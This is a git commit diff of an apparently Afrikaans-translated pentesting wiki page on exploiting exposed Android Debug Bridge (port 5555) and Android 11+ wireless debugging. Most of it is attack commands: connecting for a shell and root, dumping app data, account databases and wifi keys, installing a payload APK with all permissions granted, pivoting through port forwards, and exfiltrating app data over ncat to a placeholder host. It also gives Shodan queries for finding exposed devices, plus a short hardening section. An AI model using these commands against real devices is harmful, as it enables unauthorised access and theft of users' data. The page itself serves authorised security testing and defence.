Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:39:58 +00:00
parent 5cad898446
commit a0c32f1455

View File

@ -6,40 +6,141 @@
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) is 'n veelsydige opdraglyn hulpmiddel wat jou toelaat om met 'n toestel te kommunikeer. Die adb-opdrag fasiliteer 'n verskeidenheid toestel aksies, soos i**nstalleer en debugg apps**, en dit bied **toegang tot 'n Unix-skaal** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer.
Android Debug Bridge (adb) is 'n opdraglyn hulpmiddel om te kommunikeer met Android-gebaseerde toestelle en emulators. Tipiese aksies sluit in die installering van pakkette, foutopsporing, en die verkryging van 'n interaktiewe Unix-skaal op die toestel.
**Standaard poort**: 5555.
- Historiese standaard TCP-poort: 5555 (klassieke "adb tcpip" modus).
- Moderne Draadlose foutopsporing (Android 11+) gebruik TLS-paarvorming en mDNS-diensontdekking. Die verbindingspoort is dinamies en word ontdek via mDNS; dit mag nie 5555 wees nie. Paarvorming word gedoen met adb pair host:port gevolg deur adb connect. Sien die notas hieronder vir offensiewe implikasies.
Voorbeeld nmap vingerafdruk:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Verbind
As jy die ADB-diens in 'n poort van 'n toestel vind en jy kan daaraan verbind, **kan jy 'n skulp binne die stelsel kry:**
As jy ADB blootgestel en bereikbaar vind, probeer om vinnig te verbind en te tel:
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
Vir meer ADB-opdragte, kyk die volgende bladsy:
- As die toestel ADB-outeentifikasie afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paar (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
- Sommige verskafferbeelde, ingenieurs-/gebruikersdebug-bou, emulators, TV's, STB's en ontwikkelingskits stel adbd bloot sonder outentifikasie of met adbd wat as root loop. In daardie gevalle sal jy tipies direk in 'n shell of root shell beland.
Vir 'n algemene ADB-opdragverwysing, sien:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
### Dump App data
## Vinnige Post-Exploitasie
Om die data van 'n toepassing heeltemal af te laai, kan jy:
Sodra jy 'n shell het, valideer voorregte en SELinux-konteks:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
Jy kan hierdie truuk gebruik om **sensitiewe inligting soos chrome wagwoorde** te **herwin**. Vir meer inligting oor dit, kyk na die inligting en verwysings wat [**hier**](https://github.com/carlospolop/hacktricks/issues/274) verskaf is.
### Lys en vang data
- Lys derdeparty-apps en paaie:
```bash
pm list packages -3
pm path <pkg>
```
- As jy root het (adb root of su werk), kan jy direk toegang tot /data kry. Indien nie, verkies run-as vir debuggable apps:
```bash
# Sonder root, vir 'n debuggable app
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Met root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Nuttige stelseldokumente (root benodig):
- /data/system/users/0/accounts.db en verwante AccountManager data
- /data/misc/wifi/ (netwerk konfigurasies/sleutels op ouer weergawes)
- App-spesifieke SQLite DB's en shared_prefs onder /data/data/<pkg>
Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die probleem waarna verwys word [hier](https://github.com/carlospolop/hacktricks/issues/274).
### Kode-uitvoering en payload aflewering
- Installeer en outomaties runtime toestemmings toeken:
```bash
adb install -r -g payload.apk # -g gee alle runtime perms soos verklaar in manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Begin aktiwiteite/dienste/uitsendings direk:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Poort forwarding en pivotering
Selfs sonder root, kan adb plaaslike poorte na toestelpoorte en omgekeerd forward. Dit is nuttig om toegang te verkry tot dienste wat plaaslik op die toestel gebind is of om aanvaller dienste aan die toestel bloot te stel.
- Forward host->toestel (toegang tot 'n toestel-lokale diens vanaf jou gasheer):
```bash
adb forward tcp:2222 tcp:22 # As toestel SSH loop (bv. Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Blootstel app se plaaslike debug bediener
```
- Omgekeerde toestel->gasheer (laat die toestel 'n diens op jou gasheer bereik):
```bash
adb reverse tcp:1080 tcp:1080 # Toestel apps kan nou gasheer:1080 as 127.0.0.1:1080 bereik
```
- Lêer eksfiltrasie oor sokke (geen sdcard skrywe):
```bash
# Op gasheer: luister
ncat -lvp 9000 > dump.tar
# Op toestel: stuur gids as tar (root of run-as soos toepaslik)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Draadlose Foutopsporing (Android 11+)
Moderne Android implementeer TLS-beskermde draadlose foutopsporing met toestel-kant paar en mDNS ontdekking:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notas
- Poorte is dinamies; moenie aanvaar 5555 nie. mDNS-diensname lyk soos:
- _adb-tls-pairing._tcp (pareer)
- _adb-tls-connect._tcp (gepareerde verbinding)
- _adb._tcp (erf/plat)
- As mDNS gefiltreer is, kan klassieke USB-geassisteerde aktivering steeds op sommige weergawes werk: `adb tcpip 5555` dan `adb connect <ip>:5555` (tot herlaai).
Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing in te skakel en die pareerkode te sien, kan jy 'n langtermyn-gepareerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in engineering/dev beelde beskikbaar sonder pareer—kontroleer altyd.
## Versterking / Opsporing
Verdedigers moet aanvaar dat enige bereikbare adbd (TCP) 'n kritieke risiko is.
- Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-oute op Ontwikkelaar opsies.
- Verseker dat netwerkbeleid inkomende TCP/5555 en mDNS-gebaseerde ADB-ontdekking op onbetroubare segmente blokkeer.
- Op toestelle onder jou beheer:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # deaktiveer TCP-luister (of gebruik: adb usb)
stop adbd; start adbd # herbegin daemon
```
- Monitor vir mDNS-rekords `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` op korporatiewe netwerke en waarskuwings vir onverwagte 5555 luisteraars.
- Inventariseer vir onveilige weergawes: `getprop ro.debuggable`, `ro.build.type`, en `ro.adb.secure`.
## Shodan
- `android debug bridge`
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## Verwysings
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB oor WiFi, pareer en mDNS-diensname: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}